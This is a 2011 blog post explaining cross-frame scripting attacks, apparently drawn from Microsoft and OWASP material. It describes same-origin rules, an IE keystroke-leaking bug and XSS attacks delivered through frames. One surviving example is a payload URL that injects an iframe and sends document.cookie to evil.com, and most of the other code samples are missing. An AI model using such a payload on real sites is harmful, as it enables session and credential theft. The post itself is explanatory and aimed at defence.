Thursday, April 14, 2011

Cross Frame Scripting Advanced XSS

With Dynamic HTML (DHTML), content in different windows and frames can interact in powerful ways by scripting with the object model. However, since a browser can simultaneously display unrelated documents in its various windows and frames, certain rules must be enforced to protect data integrity and privacy of information.

This article describes how and why these restrictions apply in the DHTML Object Model. All rules about script interaction apply equally to windows, dialog boxes, frame sets, frames, and iframes.

For most content, only interactions with content from the same domain are allowed. For example, a typical page on www.microsoft.com can freely script content on any other page on www.microsoft.com, but cannot script to pages that are located on a different Web domain. The DHTML Object Model uses the document.domain property to enforce this restriction: only pages with identical domain properties are allowed free interaction. The protocol of the URL must also match. For instance, an HTTP page cannot access HTTPS content.

The range of permissible access for a page can be expanded when a script assigns the document.domain property to a suffix of the site name space, up to the second-level domain. For example, a page on www.microsoft.com can assign the document.domain property—initially www.microsoft.com—as microsoft.com to broaden access to include pages in home.microsoft.com or any other site, as long as the other pages also set the document.domain property to the identical value. Since only pages from a site whose name ends with microsoft.com will permit this domain to be set, it is assured that content from the same provider mutually agrees to interact and is free to do so. Domain suffixes shorter than the second-level domain (such as just “com”) are not allowed, because they expose beyond a single provider. For international site names, such as www.microsoft.co.jp, the second-level domain for widest access would be “microsoft.co.jp” (not “co.jp”).

Since it is important to be able to navigate windows or frames to any URL beyond the domain restriction, these types of accesses are always permitted. Only access that attempts to read out or modify content is restricted. For instance, the href property might be assigned to cause navigation to occur, but this property cannot be read if the URL is of a different domain. This would allow one page to learn where the user has been browsing, and to allow this is a breach of the user’s privacy. Some restrictions that apply to pages of different domains include:

Scripts that attempt to access parts of the object model to which they do not have access are blocked with a “permission denied” error.

While domain security can prevent certain types of content interaction, it is important to understand that this restriction is necessary to ensure security. For example, without domain security, a rogue page could “snoop” on another page or, using DHTML, manipulate its content.

Description

Cross-Frame Scripting (XFS) is client-side attack related to Cross-site Scripting (XSS). In an XFS attack, the attacker exploits a specific cross-frame-scripting bug in a web browser to access private data on a third-party website. The attacker induces the browser user to navigate to a web page the attacker controls; the attacker’s page loads a third-party page in an HTML frame; and then javascript executing in the attacker’s page steals data from the third-party page.

XFS also sometimes is used to describe an XSS attack which uses an HTML frame in the attack. For example, an attacker might exploit a Cross Site Scripting Flaw to inject a frame into a third-party web page; or an attacker might create a page which uses a frame to load a third-party page with an XSS flaw.

Risk Factors

The standard browser security model allows javascript from one web page to access the content of other pages that have been loaded in different browser windows or frames — as long as those other pages have been loaded from the same-origin server or domain. It does _not_ allow access to pages that have been loaded from different servers or domains (see MSDN article About Cross-Frame Scripting and Security). However, specific bugs in this security model exist in specific browsers, allowing an attacker to access some data in pages loaded from different servers or domains. The most well-known such bug affects IE, which leaks keyboard events across HTML framesets (see iDefense Labs advisory Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass). This bug could allow, for example, an attacker to steal the login credentials of a browser user as he or she tries to type them into the login form of a third-party web page.

Examples

XFS Attack Against IE

To exploit the IE bug which leaks keyboard events across framesets, an attacker may create a web page at evil.com, which the attacker controls, and include on the evil.com page a visible frame displaying the login page for example.com. The attacker can hide the frame’s borders and expand the frame to cover the entire page, so that it looks to the browser user like he or she is actually visiting example.com The attacker registers some javascript in the main evil.com page which listens for all key events on the page. Normally, this listener would be notified of events only from the main evil.com page — but because of the browser bug, this listener is notified also of events from the framed example.com page. So every key press the browser user makes in the example.com frame, while trying to log into example.com, can be captured by the attacker, and reported back to evil.com:

To exploit a Cross Site Scripting Flaw on a third-party web page at example.com, the attacker could create a web page at evil.com, which the attacker controls, and include a hidden iframe in the evil.com page. The iframe loads the flawed example.com page, and injects some script into it through the XSS flaw. In this example, the example.com page prints the value of the “q” query parameter from the page’s URL in the page’s content without escaping the value. This allows the attacker to inject some javascript into the example.com page which steals the browser-user’s example.com cookie, and sends the cookie via a fake-image request to evil.com (the iframe’s src URL is wrapped for legibility):

The iframe is hidden off-screen, so the browser user won’t have any idea that he or she just “visited” the example.com page. However, this attack is effectively the same as a conventional XSS attack, since the attacker could have simply redirected the user directly to the example.com page, using a variety of methods, including a meta element like this (again, the meta element’s URL is wrapped for legibility):

The only difference is that when using an iframe, the attacker can hide the frame off-screen — so the browser user won’t have any idea that he or she just “visited” example.com. When using a redirect to navigate directly to example.com, the browser will display the example.com url in the browser’s address bar, and the example.com page in the browser’s window, so the browser user will be aware that he or she is visiting example.com.

Another XSS Attack Using Frames

To exploit the same Cross Site Scripting Flaw as above at example.com (which prints the value of the “q” query parameter from the page’s URL in the page’s content without escaping the value) the attacker could create a web page at evil.com, which the attacker controls, that includes a link like the following, and induce the user to click on the link. This link injects an iframe into the example.com page by exploiting the XSS flaw with the “q” query parameter; the iframe runs some javascript to steal the browser-user’s example.com cookie, and sends it via a fake-image request to evil.com (the URL is wrapped for legibility):

http://example.com/flawed-page.html?=<iframe src=”↵

javascript:document.body.innerHTML=+’<img src=\”http://evil.com/↵

?c=’+encodeURIComponent(document.cookie)+’\”>’”></iframe>

Again, this attack is effectively the same as a conventional XSS attack; the attacker simply uses the src attribute of the injected iframe element as a vehicle to run some javascript code in the attacked page.

An attacker might use a visible frame to carry out a Clickjacking attack.

An XFS attack exploiting a browser bug which leaks events across frames is a form of a Phishing attack (the attacker lures the user into typing-in sensitive information into a frame containing a legitimate third-party page).

Related Vulnerabilities

XFS attacks exploit specific browser bugs.

Related Controls

XFS attacks may denied by preventing the third-party web page from being framed; the techniques used to do this are the same as those used for Clickjacking Protection for Java EE.